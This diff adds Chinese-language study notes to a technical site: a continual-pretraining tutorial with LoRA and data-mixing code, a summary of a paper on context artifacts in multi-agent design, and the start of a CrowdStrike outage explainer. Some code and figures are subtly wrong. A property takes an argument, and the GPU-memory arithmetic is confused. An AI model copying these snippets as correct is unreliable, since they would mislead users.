+    num_train_epochs=3,          # 通常 1-3 轮就够了，学太多会过拟合
+    per_device_train_batch_size=16,
+    gradient_accumulation_steps=4,
+    warmup_ratio=0.05,           # 少量 warmup
+    logging_steps=100,
+    save_strategy="epoch",
+    fp16=True,                   # 混合精度训练
+)
+
+# 5. 启动持续预训练
+trainer = Trainer(
+    model=model,
+    args=training_args,
+    train_dataset=tokenized_dataset,
+)
+
+trainer.train()
+trainer.save_model("./continual-pretrained-model")
+```
+
+关键点：
+- **学习率要小**（1e-5 ~ 5e-5），比从头预训练小一个数量级——太大容易覆盖旧知识
+- **训练轮次要少**（1-3 epoch）——多训不如早停
+- **重叠切分（stride）**很重要——句子不会恰好从边界断掉
+
+### 示例 2：用 LoRA 做参数高效的 CPT
+
+全量微调 7B 模型需要约 28GB GPU 显存（参数本身就占 14B × 4 bytes × 2 for Adam optimizer）。**LoRA** 只训练少量参数，大幅降低成本：
+
+```python
+from peft import LoraConfig, get_peft_model
+
+# 1. 加载基础模型（同上）
+model = AutoModelForCausalLM.from_pretrained(model_name)
+
+# 2. 注入 LoRA 适配器
+lora_config = LoraConfig(
+    r=16,                          # LoRA 的秩——越大表达力越强，但参数也越多
+    lora_alpha=32,                 # 缩放因子，通常设为 r 的 2 倍
+    target_modules=[              # 对哪些层打 LoRA 补丁
+        "q_proj",                 # Q 矩阵（注意力查询）
+        "k_proj",                 # K 矩阵（注意力键）
+        "v_proj",                 # V 矩阵（注意力值）
+        "out_proj",               # 注意力输出投影
+        "fc_in",                  # MLP 的前馈层
+        "fc_out",                 # MLP 的输出层
+    ],
+    lora_dropout=0.05,            # 小 dropout 防过拟合
+    bias="none",                  # 偏置项不训练
+    task_type="CAUSAL_LM",
+)
+
+model = get_peft_model(model, lora_config)
+
+# 3. 打印一下可训练参数比例——通常只有 0.1%~1%
+model.print_trainable_parameters()
+# 例如: trainable params: 8,388,608 || all params: 6,738,012,672 || 0.12%
+
+# 4. 训练（用上面的 Trainer 即可，不需要改）
+trainer = Trainer(
+    model=model,
+    args=training_args,
+    train_dataset=tokenized_dataset,
+)
+
+trainer.train()
+
+# 5. 合并 LoRA 权重并保存（可选——不合并也可以直接用）
+model = model.merge_and_unload()
+model.save_pretrained("./lora-continual-pretrained-model")
+```
+
+为什么 LoRA 适合 CPT？
+- **参数少 = 遗忘少**：只动 0.1% 的参数，旧知识被改动的幅度自然小
+- **可切换**：不同领域的 LoRA 适配器可以插拔，一个基座模型配多个领域适配器
+
+### 示例 3：数据混合策略——防止遗忘的关键 trick
+
+只用新数据训练 = 高遗忘风险。业界常用"新旧混合"策略：
+
+```python
+# 数据混合比例实验（来自多项 CPT 研究）
+
+# 方案 A：纯新数据（遗忘最严重，但新知识学得最快）
+# new_data_ratio = 1.0
+
+# 方案 B：90% 新 + 10% 旧（业界最常用，遗忘和学习的平衡点）
+# new_data_ratio = 0.9
+
+# 方案 C：50% 新 + 50% 旧（遗忘最少，但新知识学得慢）
+# new_data_ratio = 0.5
+
+# 实现混合：
+def build_mixed_dataset(new_dataset, old_dataset, new_ratio=0.9):
+    """
+    按 new_ratio 混合新旧数据集。
+    old_dataset 通常是原始预训练数据的一个子集（没必要全量）。
+    """
+    # 权重采样：新数据被抽到的概率 = new_ratio
+    from datasets import concatenate_datasets, Dataset
+
+    # 简单做法：拼接后 shuffle
+    old_subset = old_dataset.shuffle(seed=42).select(range(len(new_dataset) * (1 - new_ratio) // (new_ratio or 1e-9)))
+    mixed = concatenate_datasets([new_dataset, old_subset])
+    return mixed.shuffle(seed=42)
+
+# 更高级的做法：按"知识领域"加权——
+# 通用知识（语法、常识）用旧数据保持
+# 领域知识（新闻、论文）用新数据更新
+# 这相当于给不同知识类型不同的"遗忘保护"
+```
+
+## 踩过的坑
+
+### 坑 1：学习率设太大 = 遗忘加速器
+
+```
+从头预训练： lr = 3e-4 ~ 6e-4
+CPT 微调：   lr = 1e-5 ~ 5e-5    ← 必须小
+```
+
+原因：从头训练时参数在"找"大方向；CPT 时参数已经在好位置附近，大步走就直接跨出去了。
+
+经验法则：CPT 的学习率 = 从头预训练学习率 × 0.05 ~ 0.1。
+
+### 坑 2：训练轮次越多越好 = 错的
+
+```
+从头预训练： 通常训练 100B-300B tokens，可能跨数周
+CPT：        通常训练 5B-50B tokens，几天到一周
+```
+
+过度训练 CPT 的后果：
+- 模型"过度适应"新数据，在新数据上表现得很好，但在通用任务上退化
+- 新数据的分布通常不够多样（比如只有维基百科），多训会过拟合
+
+### 坑 3：数据质量比数据量重要得多
+
+CPT 的教训：**脏数据 × CPT = 垃圾进，更快垃圾出。**
+
+- 原始预训练的数据是人工筛选过的（Common Crawl → 清洗 → 去重 → 质量过滤）
+- 如果你直接用"爬回来的网页"做 CPT，效果往往不如先用干净数据
+- 一条高质量新闻 > 100 条低质量网页
+
+### 坑 4：词汇表不匹配
+
+换了新语言或新领域后，**tokenizer 的词汇表可能不认识新词**：
+
+```python
+# 问题：中文词汇在新tokenizer里被拆成碎片
+# "人工智能" → ["人", "工", "智", "能"] → 4 个 token
+# 而不是一个 token → 信息密度下降，训练效率降低
+
+# 解决：扩展 tokenizer
+from tokenizers import Tokenizer
+from tokenizers.models import BPE
+from tokenizers.trainers import BpeTrainer
+
+# 用新语料重新训练 tokenizer，保留原有词表
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+new_tokens = ["人工智能", "大语言模型", ...]  # 领域术语
+tokenizer.add_tokens(new_tokens)
+# ⚠️ 加完 token 后，需要重新初始化它们的 embedding，并小心训练
+```
+
+### 坑 5：跨阶段遗忘
+
+CPT 如果发生在指令微调之后：
+
+```
+PT → CPT → SFT → Alignment   ← 正常流程
+
+PT → SFT → CPT（在指令微调后的模型上继续预训练）
+            ↓
+       指令跟随能力下降！      ← 跨阶段遗忘
+```
+
+原因：指令微调改变了模型的"行为模式"（从"补全句子"变成"回答问题"），再回到自监督预训练会"忘记怎么听话"。
+
+解决方案：在 CPT 数据里掺入一部分指令数据。
+
+### 坑 6：评估指标选不对
+
+| 指标 | 公式 | 含义 |
+|------|------|------|
+| 困惑度 (PPL) | exp(-平均 log prob) | CPT 时最常用的训练指标——越低越好 |
+| BWT（向后转移率） | avg(新模型在旧任务上的性能 - 旧模型在旧任务上的性能) | 负值 = 有遗忘，越接近 0 越好 |
+| FWT（向前转移率） | avg(新模型在新任务上的初始性能 - 随机初始化在旧任务上的性能) | 正值 = 旧知识帮助了新任务 |
+
+很多人只看 PPL，忽略了 BWT。**PPL 下降了 10% 但 BWT 是 -0.3，说明模型学了新东西但丢了旧东西——得不偿失。**
+
+## 不同规模的模型，CPT 效果差异很大
+
+研究（Yıldız et al., 2024, arXiv:2402.17400）发现：
+
+- **< 1.5B 的小模型**：CPT 提升显著，是最受益的群体。因为小模型在预训练时学不完所有知识，CPT 能补
+- **7B+ 的大模型**：CPT 仍然有效，但边际收益递减。大模型本身已经"学了很多"，CPT 主要补的是领域知识
+- **关键发现**：大模型在 CPT 时遗忘更慢。同样的训练强度下，LLaMA-7B 遗忘率远低于 GPT-2 (125M)
+
+## 相关技术对比
+
+| 技术 | 更新什么 | 要不要改模型参数 | 成本 |
+|------|----------|-----------------|------|
+| **CPT（本文）** | 语言理解 / 知识 / 领域 | 改 | 高 |
+| RAG | 事实知识 | 不改 | 低 |
+| 指令微调 (SFT) | 任务行为 | 改 | 中 |
+| 模型编辑 | 特定事实 | 改少量 | 低 |
+
+核心区别：CPT 是唯一能改变模型**语言理解能力**和**领域适配度**的方法。RAG 只能在外围补充知识。
+
+## 读到什么
+
+1. **固定权重的模型 = 时间胶囊**——预训练完成的那一刻，模型就被"冻结"在那个时间点。CPT 是打破这种冻结的方式。
+
+2. **遗忘不是故障，是学习的代价**——神经网络本质上是在参数空间里找一个新的最优解。这个过程中旧知识被覆盖是物理规律，不是 bug。关键是用混合数据、小学习率、LoRA 等手段来减轻。
+
+3. **CPT 不是万能药**——它不能让你的模型突然学会它语言里本来没有的语法结构，也不能让它突然理解它从未接触过的推理模式。它最适合"增量式"的知识更新。
+
+4. **数据管道比模型架构更重要**——一个精心构建的 CPT 数据管道（清洗→去重→质量过滤→领域标注→混合比例调优）带来的提升，远大于换个更复杂的模型。
+
+5. **"活到老学到老"是渐进式的**——CPT 不是一次性的。模型可以每隔几个月做一次小更新，或者按领域持续积累。真正的 LLM 应该是"持续进化"的。
+
+## 延伸阅读
+
+- 综述论文：[Continual Learning for Large Language Models: A Survey](https://arxiv.org/abs/2402.01364)（Wu et al., 2024）——本文的核心来源
+- 持续预训练基准：[Investigating Continual Pretraining in LLMs](https://arxiv.org/abs/2402.17400)（Yıldız et al., 2024）——不同规模模型的 CPT 对比研究
+- [Recyclable Tuning for Continual Pre-training](https://arxiv.org/abs/2305.08702)（Qin et al., ACL 2023 Findings）——如何回收旧任务的适配权重
+- [Synthetic Continued Pretraining](https://arxiv.org/abs/2409.07431)（Yang et al., 2024）——用小领域数据合成大量预训练数据
+- [RedWhale: Korean LLM via Continual Pretraining](https://arxiv.org/abs/2408.11294)（Vo et al., 2024）——CPT 在低资源语言的实践
+
+## 关联
+
+- [[指令微调]] —— CPT 之后的第二步：让模型学会听话
+- [[rag]] —— 不靠改参数的知识更新方案，和 CPT 互补
+- [[灾难性遗忘]] —— CPT 要面对的核心难题
+- [[liger-kernel-llm-training]] —— 如果要做 CPT，需要高效的训练框架
+- [[how-lora-remembers]] —— LoRA 在持续学习中的记忆保持机制
diff --git a/src/content/docs/papers/cook-levin.md b/src/content/docs/papers/cook-levin.md
index 8dc4c3041..a45c70256 100644
--- a/src/content/docs/papers/cook-levin.md
+++ b/src/content/docs/papers/cook-levin.md
@@ -166,4 +166,5 @@ Cook-Levin 证明的就是：**SAT 是第一个被发现的 NP-完全问题**。
 - [[sweeney-k-anonymity-2002]] —— k-匿名 — 发布数据时让攻击者无法锁定你是谁
 - [[turing-1936]] —— Turing 1936 可计算性
 - [[zk-snark]] —— zk-SNARK 零知识证明
+- [[zk-snark-pinocchio-2013]] —— Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统
 
diff --git a/src/content/docs/papers/crossover-context-multi-agent.md b/src/content/docs/papers/crossover-context-multi-agent.md
new file mode 100644
index 000000000..f6d0d5646
--- /dev/null
+++ b/src/content/docs/papers/crossover-context-multi-agent.md
@@ -0,0 +1,439 @@
+---
+title: When Context Hurts — 知识迁移在多智能体设计中的交叉效应
+来源: 'Saranyan Vigraham, "When Context Hurts: The Crossover Effect of Knowledge Transfer on Multi-Agent Design Exploration", arXiv:2605.04361, Meta, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：给新同事「交接文档」，有时救命，有时添堵
+
+想象你带一个新团队做系统架构评审。上一组人已经讨论过两周，留下了一堆材料：
+
+- **完整会议录音**（Transcript）：吵了三个小时，有人主张 Kafka，有人坚持 Redis Stream，最后也没拍板。
+- **设计文档**（Design Doc）：漂亮地写定了「用中心化协调器 + Worker 轮询」。
+- **反模式清单**（Anti-patterns）：只记录「我们否决了什么」——别用 cron 硬轮询、别在 DB 里存任务状态。
+- **上一版代码**（Code）：能跑，但没人解释为什么选这个库。
+
+直觉会说：**材料越相关、越完整，新团队越好**。Vigraham（arXiv:2605.04361，Meta）用 2,700+ 次多智能体实验告诉你：**同一份材料，在不同任务上效果可以完全相反**——这叫 **crossover effect（交叉效应）**。
+
+- 做 **限流器（rate limiter）** 设计时，没给任何上下文，团队几乎只聊「令牌桶」一种方案，**权衡覆盖率仅 3.3%**。塞进去反模式文档后，覆盖率飙到 **70%**（约 **20×**）。
+- 做 **Kubernetes Operator** 设计时，团队本来就会主动讨论多种框架与调和策略，**基线覆盖率 47.5%**。塞进去完整会议记录后，覆盖率掉到 **25.6%**（**−46%**）。
+
+更离谱的是：在若干任务上，**一篇完全无关的技术文档**，表现竟优于所有「相关」知识工件。
+
+所以这篇论文挑战的不是「要不要用上下文」，而是行业默认假设：**上下文越多越好、越相关越好**——对**设计探索**（design exploration）而言，这并不成立。
+
+---
+
+## 是什么
+
+**研究问题**：把 A 组多智能体做软件设计时产出的**知识工件（knowledge artifacts）**，注入给 B 组解决**同一设计题**，会扩大还是缩小 B 组的**设计空间探索**？
+
+**实验规模**：
+
+| 维度 | 设置 |
+|------|------|
+| 任务 | 10 个软件设计题（5 个通用 CS + 5 个领域专用） |
+| 上下文条件 | 7 种工件注入方式 |
+| 重复 | 每格 20 次独立试验 |
+| 总运行 | 2,700+ 次多智能体商议 |
+| 模型 | Claude Sonnet 4，5 个不同人设 Agent，SA（Speed + Autonomy）编排 |
+
+**核心指标：权衡覆盖率（tradeoff coverage）**
+
+对每个任务预先列出已知架构权衡（如限流器有 6 项：算法选择、自建 vs 复用、部署模型……）。评估用另一个 LLM 读完整商议记录，判断「这项权衡是否被讨论过」：
+
+\[
+\text{Coverage} = \frac{\text{被讨论的已知权衡数}}{\text{该任务已知权衡总数}}
+\]
+
+这和「代码能不能跑、测试过不过」正交：团队可以写出正确实现，却只探索了设计空间里极小一角。
+
+---
+
+## 为什么重要
+
+### 1. 代码生成 ≠ 软件设计
+
+给函数签名和类型，上下文几乎总是帮**实现**（Chen et al., 2021）。但**设计**要在多个可行方案间权衡——此时上下文可能**锚定（anchor）**团队，反而减少探索。
+
+### 2. 多智能体编排的默认策略可能帮倒忙
+
+RAG、长上下文、把上一轮的 design doc / transcript 全塞进 prompt——若不做任务级诊断，你可能在**已经会探索的任务**上注入「毒药」，在**只会抄标准答案的任务**上却错过救命稻草。
+
+### 3. 给出可操作的廉价诊断
+
+论文主张：先跑**一次无上下文试验**，测 **baseline exploration（基线探索度）**，即可较强预测后续注入是否有益（Pearson **r = −0.82**, *p* < 0.001）。基线越低，知识工件越可能**打断错误收敛**；基线越高，工件越可能**有害锚定**。
+
+---
+
+## 核心概念
+
+### 1. 交叉效应（Crossover Effect）
+
+**同一类知识工件**，在任务 A 上大幅提升覆盖率，在任务 B 上显著降低——不是随机噪声，而是与任务的**基线探索度**系统性相关。
+
+典型数字（相对基线的 Δ coverage）：
+
+| 任务 | 基线 | 反模式文档 Δ | 商议记录 Δ |
+|------|------|-------------|-----------|
+| Rate limiter | 0.033 | **+0.667** | **+0.558** |
+| K8s operator | 0.475 | −0.044 | **−0.219** |
+
+### 2. 基线探索度（Baseline Exploration）
+
+**无注入上下文（C6 对照）**时，团队自然达到的权衡覆盖率。
+
+- **极低（≈0.03）**：Rate limiter——训练数据里有强烈「令牌桶」先验，团队几乎不讨论滑动窗口、分布式计数等替代方案。
+- **较高（≈0.54）**：LRU cache——OrderedDict vs 双向链表+哈希、线程安全、写策略等**没有单一标准答案**，团队会自发探索。
+
+基线探索度是**预测变量**：越低，注入越可能帮忙；越高，注入越可能伤害。
+
+### 3. 七种知识工件条件
+
+| ID | 条件 | 含义 |
+|----|------|------|
+| C1 | Transcript | 种子组 5 个 Agent 完整、未剪辑的商议记录 |
+| C2 | Topology | 提取的权衡列表：命名决策、选项与理由 |
+| C3 | Design doc | LLM 润色后的设计文档 |
+| C4 | Anti-patterns | **仅**被否决的备选方案 |
+| C5 | Code | 种子组最终代码，无推理过程 |
+| C6 | Baseline | 不注入（对照） |
+| C7 | Irrelevant | 无关技术文档（启动/干扰对照） |
+
+注入方式统一为附录：「前一个团队做过这道题，以下是他们的 [工件类型]：……」
+
+### 4. 锚定的双重角色（Anchoring as Dual Force）
+
+与心理学**锚定偏差**类比，但在 LLM 多智能体设计里呈现**两面**：
+
+1. **低基线（自然收敛）**：模型被训练先验锁在「标准解」。工件充当**反锚**——尤其是反模式（「别这么做」暗示「这么做存在」），迫使重新权衡。
+2. **高基线（已在探索）**：团队本就会比较多种方案。工件变成**正锚**——尤其 Code（完整实现）和 Transcript（具体辩论框架），把讨论锁进某一叙事。
+
+**无关文档**有时最优：提供轻微「干扰」打破默认先验，却**不**带入内容级锚定——在 ML 训练流水线等任务上，无关文档比 Transcript 还好。
+
+### 5. 自然收敛 vs 诱导收敛（Natural vs Induced Convergence）
+
+Phase 3 通过**提示词强度**操纵收敛压力四档：开放题 → 点名标准做法 → 强制遵循 → 给代码骨架。
+
+- **自然收敛**：来自训练数据先验（如 rate limiter 默认令牌桶）→ **对工件扰动敏感**，反模式/记录能拉开探索。
+- **诱导收敛**：提示词已写明「必须用中心化协调器」→ 探索已被压扁 → **工件几乎救不回来**。
+
+启示：若你的 prompt 已经「诱导收敛」，别指望再塞 design doc 能恢复探索广度。
+
+### 6. 直接评估（Direct Evaluation）
+
+用评估 LLM 对每条已知权衡做二元判断 + 证据引用，并允许记录**新颖权衡**（不在清单里但合理的设计张力）。避免「实现正确但探索贫瘠」被传统指标掩盖。
+
+---
+
+## 机制直觉：一张图看懂
+
+```text
+                    基线探索度 (无上下文时的 coverage)
+          低 (≈0.03)                              高 (≈0.5+)
+              │                                        │
+   训练先验   │  团队 stuck 在「标准答案」              │  团队已在多方案间权衡
+   主导收敛   │                                        │
+              ▼                                        ▼
+   注入上下文 │  反锚 / 扰动 → 覆盖率↑↑               │  正锚 / 锁定叙事 → 覆盖率↓↓
+              │  反模式、Transcript 效果最好            │  Code、Transcript 伤害最大
+              │                                        │
+   实践建议   │  积极注入相关工件                       │  少注入或只注入反模式
+              │  甚至无关文档也有帮助                   │  无关文档有时优于相关工件
+```
+
+**廉价诊断流程**：`无上下文跑 1 次 → 算 coverage → 若 < 0.1 大胆注入，若 > 0.3 谨慎，若 > 0.5 默认不注入`。
+
+---
+
+## 代码示例 1：度量基线探索度并决定是否注入上下文
+
+下面用 Python 模拟论文的**诊断门控（gating）**逻辑：先跑 baseline trial，再根据阈值选择注入策略。
+
+```python
+from dataclasses import dataclass
+from enum import Enum
+from typing import Optional
+
+
+class ArtifactKind(Enum):
+    NONE = "baseline"
+    TRANSCRIPT = "transcript"
+    TOPOLOGY = "topology"
+    DESIGN_DOC = "design_doc"
+    ANTI_PATTERNS = "anti_patterns"
+    CODE = "code"
+    IRRELEVANT = "irrelevant"
+
+
+@dataclass
+class DesignTask:
+    slug: str
+    known_tradeoffs: int  # 该任务预先列出的权衡项数量
+
+
+@dataclass
+class DeliberationResult:
+    discussed_tradeoffs: set[str]
+    novel_tradeoffs: set[str]
+
+    @property
+    def coverage(self, known: int) -> float:
+        return len(self.discussed_tradeoffs) / known
+
+
+# 论文经验阈值（arXiv:2605.04361 §4.8）
+LOW_BASELINE = 0.10   # 以下：工件通常大幅帮忙
+MID_BASELINE = 0.30   # 以上：最佳工件收益趋近于零
+HIGH_BASELINE = 0.50  # 以上：注入多半有害
+
+
+def recommend_artifact(baseline_coverage: float) -> ArtifactKind:
+    """根据无上下文基线，推荐是否/如何注入知识工件。"""
+    if baseline_coverage < LOW_BASELINE:
+        # 收敛型任务：反模式扰动最强且负效应最小（Table 4）
+        return ArtifactKind.ANTI_PATTERNS
+    if baseline_coverage < MID_BASELINE:
+        # 中等基线：拓扑清单有时有效，避免完整代码锚定
+        return ArtifactKind.TOPOLOGY
+    if baseline_coverage < HIGH_BASELINE:
+        # 探索型：相关工件常有害；无关文档偶尔是「最不差」选项
+        return ArtifactKind.IRRELEVANT
+    # 高探索：默认不注入
+    return ArtifactKind.NONE
+
+
+def build_transfer_prompt(
+    task: DesignTask,
+    artifact: Optional[str],
+    kind: ArtifactKind,
+) -> str:
+    base = f"Design task: {task.slug}\nDiscuss architectural tradeoffs before committing."
+    if kind == ArtifactKind.NONE or artifact is None:
+        return base
+    return (
+        f"{base}\n\n"
+        f"A previous team worked on this problem. "
+        f"Here is their {kind.value}:\n\n{artifact}"
+    )
+
+
+# --- 使用示例 ---
+task = DesignTask(slug="rate_limiter", known_tradeoffs=6)
+
+# Phase 1: 无上下文基线（论文每任务 20 次；这里用单次示意）
+baseline = DeliberationResult(
+    discussed_tradeoffs={"algorithm_choice"},  # 6 项里只讨论了 1 项
+    novel_tradeoffs=set(),
+)
+baseline_cov = len(baseline.discussed_tradeoffs) / task.known_tradeoffs  # 0.167
+
+choice = recommend_artifact(baseline_cov)
+prompt = build_transfer_prompt(
+    task,
+    artifact="Rejected: naive in-memory counter without TTL cleanup...",
+    kind=choice,
+)
+print(f"baseline_coverage={baseline_cov:.3f} -> inject {choice.value}")
+# baseline_coverage=0.167 -> inject anti_patterns
+```
+
+这段代码体现论文最核心的工程建议：**先测量，再注入**——不是「永远 RAG」，而是**条件性知识迁移**。
+
+---
+
+## 代码示例 2：多智能体编排中的条件性工件路由
+
+第二个例子展示如何在 Agent 编排层实现 **crossover-aware router**：同一 `KnowledgeStore` 里存了多种工件，但**按任务基线动态选型**。
+
+```python
+import asyncio
+from typing import Callable, Awaitable, Dict, List
+
+
+AgentFn = Callable[[str], Awaitable[str]]
+
+
+class CrossoverAwareOrchestrator:
+    """
+    简化版 SA 模式：5 个 Agent 并行商议后合成。
+    注入哪种工件由 baseline_coverage 决定（对应论文 Phase 2）。
+    """
+
+    def __init__(
+        self,
+        agents: List[AgentFn],
+        evaluate_coverage: Callable[[List[str]], float],
+        knowledge_store: Dict[str, str],
+    ):
+        self.agents = agents
+        self.evaluate_coverage = evaluate_coverage
+        self.knowledge_store = knowledge_store
+
+    async def run_baseline(self, task_prompt: str, trials: int = 1) -> float:
+        coverages = []
+        for _ in range(trials):
+            transcripts = await asyncio.gather(
+                *[agent(task_prompt) for agent in self.agents]
+            )
+            coverages.append(self.evaluate_coverage(transcripts))
+        return sum(coverages) / len(coverages)
+
+    def select_artifact_key(self, baseline: float) -> str | None:
+        if baseline < 0.10:
+            return "anti_patterns"
+        if baseline < 0.30:
+            return "topology"
+        if baseline < 0.50:
+            return None  # 探索型：论文建议默认不注入相关工件
+        return None
+
+    async def run_transfer(self, task_prompt: str) -> dict:
+        baseline = await self.run_baseline(task_prompt)
+        key = self.select_artifact_key(baseline)
+
+        if key is None:
+            transfer_prompt = task_prompt
+            injected = "none"
+        else:
+            appendix = self.knowledge_store[key]
+            transfer_prompt = (
+                f"{task_prompt}\n\n"
+                f"Previous team artifact ({key}):\n{appendix}"
+            )
+            injected = key
+
+        transfer_transcripts = await asyncio.gather(
+            *[agent(transfer_prompt) for agent in self.agents]
+        )
+        transfer_cov = self.evaluate_coverage(transfer_transcripts)
+
+        return {
+            "baseline_coverage": baseline,
+            "injected_artifact": injected,
+            "transfer_coverage": transfer_cov,
+            "delta": transfer_cov - baseline,
+        }
+
+
+# --- 伪 Agent：演示 K8s operator（高基线）vs rate limiter（低基线）方向相反 ---
+async def fake_agent(prompt: str) -> str:
+    if "rate_limiter" in prompt:
+        if "anti_patterns" in prompt or "Previous team" in prompt:
+            return "debate: sliding window vs token bucket vs fixed window"
+        return "use token bucket"  # 低基线：默认收敛
+    if "k8s_operator" in prompt:
+        if "Previous team" in prompt and "transcript" in prompt:
+            return "follow seed team kubebuilder choice only"
+        return "compare kubebuilder vs operator-sdk vs raw client-go"
+    return "generic deliberation"
+
+
+async def main():
+    orch = CrossoverAwareOrchestrator(
+        agents=[fake_agent] * 5,
+        evaluate_coverage=lambda ts: (
+            0.05 if all("token bucket" in t and "vs" not in t for t in ts) else
+            0.45 if any("compare" in t for t in ts) else 0.25
+        ),
+        knowledge_store={
+            "anti_patterns": "Do NOT default to token bucket without comparing...",
+            "topology": "Decision: reconciliation loop vs level-triggered...",
+            "transcript": "Agent3: we already picked kubebuilder...",
+        },
+    )
+
+    for slug in ["rate_limiter", "k8s_operator"]:
+        result = await orch.run_transfer(f"Design a {slug}")
+        print(slug, result)
+
+asyncio.run(main())
+```
+
+路由器体现了论文对 **MetaGPT / ChatDev 类框架**的隐含批评：若无条件把上一阶段「CEO 文档 / 代码 / 全量 log」塞给下一阶段，你在**高基线任务**上大概率是在**缩小**而非扩大设计空间。
+
+---
+
+## 实验任务一览（10 题）
+
+**通用软件工程（训练数据覆盖高）**
+
+| 任务 | 已知权衡数 | 基线 coverage |
+|------|-----------|---------------|
+| Rate limiter | 6 | **0.033** |
+| LRU cache | 5 | 0.540 |
+| Task queue | 6 | 0.308 |
+| Pub/sub broker | 8 | 0.281 |
+| Distributed scheduler | 10 | 0.310 |
+
+**领域专用（需专门知识）**
+
+| 任务 | 已知权衡数 | 基线 coverage |
+|------|-----------|---------------|
+| Kubernetes operator | 8 | 0.475 |
+| Database storage engine | 8 | 0.406 |
+| ML training pipeline | 8 | 0.356 |
+| Video streaming | 8 | 0.406 |
+| Network congestion control | 8 | 0.400 |
+
+Rate limiter 与 LRU cache 同样「经典」，但前者有**主导默认解**，后者没有——这解释了基线悬殊，而非题目「难不难」。
+
+---
+
+## 各工件类型的经验法则
+
+| 工件 | 收敛型任务（低基线） | 探索型任务（高基线） | 一句话 |
+|------|---------------------|---------------------|--------|
+| Anti-patterns | **最强增益**（+0.667） | 伤害最小 | 最安全的高收益选项 |
+| Transcript | 强增益（+0.558） | **最大伤害**（−0.219） |  upside/downside 都最极端 |
+| Topology | 中等增益 | 轻微负面 | 结构化权衡清单，锚定弱于全文 |
+| Design doc | 中等增益 | 明显负面 |  polished 叙事 = 强框架锚定 |
+| Code | 中等增益 | 强负面 | 完整实现 = 最强正锚 |
+| Irrelevant | 弱增益 | 有时**优于所有相关工件** | 扰动无内容锚定 |
+
+---
+
+## 与相关工作的关系
+
+- **Lost in the middle**（Liu et al., 2024）：长上下文中间信息难用——本文扩展到**多智能体设计**，并发现存在**收敛型任务上上下文反而有益**的 regime，形成交叉而非单调恶化。
+- **Irrelevant context hurts reasoning**（Shi et al., 2023）：单模型问答——本文在**多 Agent 设计**上显示无关上下文有时**优于**相关上下文。
+- **ChatDev / MetaGPT**：多按输出质量评估——本文强调 **exploration quality** 是**正交维度**。
+- **Design rationale capture**：传统假设「记录理由对未来团队总有帮助」——本文显示**仅当接收方本来不会探索时**才成立。
+
+---
+
+## 实践清单（给多智能体系统设计者）
+
+1. **把「设计探索」从「实现正确」里拆出来评估**——否则你看不见 crossover。
+2. **每个新设计任务先跑 1 次无上下文 trial**，算 tradeoff coverage（便宜、r = −0.82 预测力）。
+3. **基线 < 0.1**：优先注入 **anti-patterns**，其次 transcript；避免只给 code。
+4. **基线 0.1–0.3**：谨慎；topology 可能比 full transcript 更安全。
+5. **基线 > 0.3**：默认**不注入**相关工件；若必须注入，反模式优于 design doc/code。
+6. **检查 prompt 是否在「诱导收敛」**——越强，知识工件越无效。
+7. **不要假设 RAG 检索到的文档一定有帮助**——在高基线任务上，它可能还不如随机一篇无关文。
+
+---
+
+## 局限与开放问题
+
+- **任务数仅 10**：相关性 r = −0.82 有力，但外推需谨慎。
+- **单一模型族 + 固定 5 Agent SA 编排**：换模型、换辩论拓扑，交叉点是否移动？
+- **工件由种子组生成**：真实公司里工件质量参差，效应矩阵可能更乱。
+- **coverage 不等于最终架构质量**：探索广不等于选对；但**探索窄**几乎肯定增加**局部最优**风险。
+
+---
+
+## 一句话总结
+
+**When Context Hurts** 的核心不是「上下文有害」，而是：**上下文对多智能体设计探索的影响符号，可由一次无上下文试验测得的基线探索度预测**——在低基线任务上，知识工件是**打破错误收敛的扰动**；在高基线任务上，同一工件是**有害的锚**。行业应从「无条件加上下文」转向 **「先测量，再条件注入」**。
+
+---
+
+## 延伸阅读
+
+- 论文全文：[arXiv:2605.04361](https://arxiv.org/abs/2605.04361)
+- HTML 版本：[arXiv HTML](https://arxiv.org/html/2605.04361v1)
+- 同仓库相关笔记：[STORM 多智能体状态管理](./storm-multi-agent-state.md)、[工具调用 Agent 的记忆何时有用](./memory-tool-use-agents.md)
diff --git a/src/content/docs/papers/crowdstrike-bsod-2024.md b/src/content/docs/papers/crowdstrike-bsod-2024.md
new file mode 100644
index 000000000..300d2d389
--- /dev/null
+++ b/src/content/docs/papers/crowdstrike-bsod-2024.md
@@ -0,0 +1,316 @@
+---
+title: CrowdStrike 更新导致 Windows 蓝屏与启动死循环
+来源: https://old.reddit.com/r/crowdstrike/comments/1e6vmkf/bsod_error_in_latest_crowdstrike_update/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# CrowdStrike 更新导致 Windows 蓝屏与启动死循环
+
+## 一、从日常类比开始
+
+想象一下：你雇了一个保安（CrowdStrike Falcon 软件）来保护你的大楼（电脑）。这个保安平时站在门口，检查每个进出的人是否有危险。一切正常。
+
+某天，总部给这个保安发了一份"新规则手册"（软件更新），告诉他："以后看到某种叫 Named Pipe 的东西，用这条新规则来判断。"
+
+但这份手册印错了——规则里引用了一个不存在的条款编号。保安照着手册去查，结果大脑短路了，直接原地宕机，再也醒不过来。
+
+更糟糕的是，因为保安负责的是整栋楼的安全系统，他一倒，整栋楼的门禁、电梯、消防全部瘫痪。大楼里的人出不去，外面的人进不来。
+
+这就是 2024 年 7 月 19 日发生的真实事件：全球大约 850 万台 Windows 电脑同时蓝屏，机场航班取消、医院停摆、银行关门。被称为"历史上规模最大的 IT 故障"。
+
+---
+
+## 二、什么是蓝屏（BSOD）？
+
+**蓝屏**（Blue Screen of Death，简称 BSOD）是 Windows 系统遇到无法恢复的错误时显示的蓝色错误画面。
+
+类比理解：就像汽车的发动机突然锁死——仪表盘亮红灯，车立刻停住，你必须重启发动机才能继续开。在电脑上，就是系统内核遇到了严重错误，只能强制停止运行。
+
+### 为什么会蓝屏？
+
+Windows 有一个叫做**内核**（Kernel）的核心程序，它掌管着电脑最重要的资源——内存、硬件驱动、进程调度。如果内核里的某个程序犯了致命错误（比如访问了不该访问的内存），Windows 就会选择蓝屏停机，以防止数据被进一步破坏。
+
+这就像飞机上的"黑匣子保护机制"——一旦检测到不可控的危险，宁可迫降也不让飞机在空中解体。
+
+---
+
+## 三、核心概念解析
+
+### 3.1 操作系统内核（Operating System Kernel）
+
